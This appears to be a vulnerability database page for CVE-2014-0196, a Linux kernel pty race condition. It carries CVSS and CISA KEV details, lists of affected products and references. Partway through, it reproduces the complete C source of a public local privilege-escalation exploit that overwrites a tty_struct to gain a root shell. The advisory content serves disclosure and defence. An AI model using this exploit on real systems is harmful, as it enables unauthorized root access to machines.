CVE-2014-0196 : Detail

CVE-2014-0196

5.5
/
Medium
1.36%V3
Local
2014-05-07
10h00 +00:00
2025-02-07
13h36 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The n_tty_write function in drivers/tty/n_tty.c in the Linux kernel through 3.14.3 does not properly manage tty driver access in the "LECHO & !OPOST" case, which allows local users to cause a denial of service (memory corruption and system crash) or gain privileges by triggering a race condition involving read and write operations with long strings.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Linux Kernel Race Condition Vulnerability

Required action : The impacted product is end-of-life and should be disconnected if still in use.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2023-05-11 22h00 +00:00

Action is due : 2023-06-01 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 33516

Publication date : 2014-05-25 22h00 +00:00
Author : Matthew Daley
EDB Verified : No

/* * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition * * Slightly-less-than-POC privilege escalation exploit * For kernels >= v3.14-rc1 * * Matthew Daley <[email protected]> * * Usage: * $ gcc cve-2014-0196-md.c -lutil -lpthread * $ ./a.out * [+] Resolving symbols * [+] Resolved commit_creds: 0xffffffff81056694 * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 * [+] Doing once-off allocations * [+] Attempting to overflow into a tty_struct............... * [+] Got it :) * # id * uid=0(root) gid=0(root) groups=0(root) * * WARNING: The overflow placement is still less-than-ideal; there is a 1/4 * chance that the overflow will go off the end of a slab. This does not * necessarily lead to an immediate kernel crash, but you should be prepared * for the worst (i.e. kernel oopsing in a bad state). In theory this would be * avoidable by reading /proc/slabinfo on systems where it is still available * to unprivileged users. * * Caveat: The vulnerability should be exploitable all the way from * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer * GFP_ATOMIC memory consumption") that make exploitation simpler, which this * exploit relies on. * * Thanks to Jon Oberheide for his help on exploitation technique. */ #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <pthread.h> #include <pty.h> #include <stdio.h> #include <string.h> #include <termios.h> #include <unistd.h> #define TTY_MAGIC 0x5401 #define ONEOFF_ALLOCS 200 #define RUN_ALLOCS 30 struct device; struct tty_driver; struct tty_operations; typedef struct { int counter; } atomic_t; struct kref { atomic_t refcount; }; struct tty_struct_header { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; } overwrite; typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred); int master_fd, slave_fd; char buf[1024] = {0}; commit_creds_fn commit_creds; prepare_kernel_cred_fn prepare_kernel_cred; int payload(void) { commit_creds(prepare_kernel_cred(0)); return 0; } unsigned long get_symbol(char *target_name) { FILE *f; unsigned long addr; char dummy; char name[256]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) return 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name); if (ret == 0) { fscanf(f, "%s\n", name); continue; } if (!strcmp(name, target_name)) { printf("[+] Resolved %s: %p\n", target_name, (void *)addr); fclose(f); return addr; } } printf("[-] Couldn't resolve \"%s\"\n", name); fclose(f); return 0; } void *overwrite_thread_fn(void *p) { write(slave_fd, buf, 511); write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); write(slave_fd, &overwrite, sizeof(overwrite)); } int main() { char scratch[1024] = {0}; void *tty_operations[64]; int i, temp_fd_1, temp_fd_2; for (i = 0; i < 64; ++i) tty_operations[i] = payload; overwrite.magic = TTY_MAGIC; overwrite.kref.refcount.counter = 0x1337; overwrite.dev = (struct device *)scratch; overwrite.driver = (struct tty_driver *)scratch; overwrite.ops = (struct tty_operations *)tty_operations; puts("[+] Resolving symbols"); commit_creds = (commit_creds_fn)get_symbol("commit_creds"); prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); if (!commit_creds || !prepare_kernel_cred) return 1; puts("[+] Doing once-off allocations"); for (i = 0; i < ONEOFF_ALLOCS; ++i) if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { puts("[-] pty creation failed"); return 1; } printf("[+] Attempting to overflow into a tty_struct..."); fflush(stdout); for (i = 0; ; ++i) { struct termios t; int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j; pthread_t overwrite_thread; if (!(i & 0xfff)) { putchar('.'); fflush(stdout); } if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } for (j = 0; j < RUN_ALLOCS; ++j) if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } close(fds[RUN_ALLOCS / 2]); close(fds2[RUN_ALLOCS / 2]); write(slave_fd, buf, 1); tcgetattr(master_fd, &t); t.c_oflag &= ~OPOST; t.c_lflag |= ECHO; tcsetattr(master_fd, TCSANOW, &t); if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { puts("\n[-] Overwrite thread creation failed"); return 1; } write(master_fd, "A", 1); pthread_join(overwrite_thread, NULL); for (j = 0; j < RUN_ALLOCS; ++j) { if (j == RUN_ALLOCS / 2) continue; ioctl(fds[j], 0xdeadbeef); ioctl(fds2[j], 0xdeadbeef); close(fds[j]); close(fds2[j]); } ioctl(master_fd, 0xdeadbeef); ioctl(slave_fd, 0xdeadbeef); close(master_fd); close(slave_fd); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); puts("\n[+] Got it :)"); execl("/bin/bash", "/bin/bash", NULL); } } }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (excluding) 2.6.31 To (excluding) 3.2.59

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.4.91

Linux>>Linux_kernel >> Version From (including) 3.5 To (excluding) 3.10.40

Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.12.20

Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.14.4

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Configuraton 0

Debian>>Debian_linux >> Version 6.0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Redhat>>Enterprise_linux >> Version 6.0

Redhat>>Enterprise_linux_eus >> Version 6.3

Redhat>>Enterprise_linux_eus >> Version 6.4

Redhat>>Enterprise_linux_server_eus >> Version 6.3

Configuraton 0

Suse>>Suse_linux_enterprise_desktop >> Version 11

    Suse>>Suse_linux_enterprise_high_availability_extension >> Version 11

    Suse>>Suse_linux_enterprise_server >> Version 11

    Suse>>Suse_linux_enterprise_server >> Version 11

    Configuraton 0

    Oracle>>Linux >> Version 6

    Configuraton 0

    Canonical>>Ubuntu_linux >> Version 10.04

    Canonical>>Ubuntu_linux >> Version 12.04

    Canonical>>Ubuntu_linux >> Version 12.10

    Canonical>>Ubuntu_linux >> Version 13.10

    Canonical>>Ubuntu_linux >> Version 14.04

    Configuraton 0

    F5>>Big-ip_access_policy_manager >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_advanced_firewall_manager >> Version From (including) 11.3.0 To (including) 11.5.1

    F5>>Big-ip_analytics >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_application_acceleration_manager >> Version From (including) 11.4.0 To (including) 11.5.1

    F5>>Big-ip_application_security_manager >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_edge_gateway >> Version From (including) 11.1.0 To (including) 11.3.0

    F5>>Big-ip_global_traffic_manager >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_link_controller >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_local_traffic_manager >> Version From (including) 11.1.0 To (including) 11.5.1

    F5>>Big-ip_policy_enforcement_manager >> Version From (including) 11.3.0 To (including) 11.5.1

    F5>>Big-ip_protocol_security_module >> Version From (including) 11.1.0 To (including) 11.4.1

    F5>>Big-ip_wan_optimization_manager >> Version From (including) 11.1.0 To (including) 11.3.0

    F5>>Big-ip_webaccelerator >> Version From (including) 11.1.0 To (including) 11.3.0

    F5>>Big-iq_application_delivery_controller >> Version 4.5.0

    F5>>Big-iq_centralized_management >> Version 4.6.0

    F5>>Big-iq_cloud >> Version From (including) 4.0.0 To (including) 4.5.0

    F5>>Big-iq_cloud_and_orchestration >> Version 1.0.0

    F5>>Big-iq_device >> Version From (including) 4.2.0 To (including) 4.5.0

    F5>>Big-iq_security >> Version From (including) 4.0.0 To (including) 4.5.0

    F5>>Enterprise_manager >> Version 3.1.0

    F5>>Enterprise_manager >> Version 3.1.1

    References

    http://www.ubuntu.com/usn/USN-2203-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.osvdb.org/106646
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.openwall.com/lists/oss-security/2014/05/05/6
    Tags : mailing-list, x_refsource_MLIST
    http://secunia.com/advisories/59262
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.ubuntu.com/usn/USN-2204-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://secunia.com/advisories/59218
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.ubuntu.com/usn/USN-2202-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.exploit-db.com/exploits/33516
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.debian.org/security/2014/dsa-2928
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.ubuntu.com/usn/USN-2199-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.ubuntu.com/usn/USN-2197-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://rhn.redhat.com/errata/RHSA-2014-0512.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://secunia.com/advisories/59599
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.debian.org/security/2014/dsa-2926
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.ubuntu.com/usn/USN-2198-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.ubuntu.com/usn/USN-2200-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.ubuntu.com/usn/USN-2201-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://www.ubuntu.com/usn/USN-2196-1
    Tags : vendor-advisory, x_refsource_UBUNTU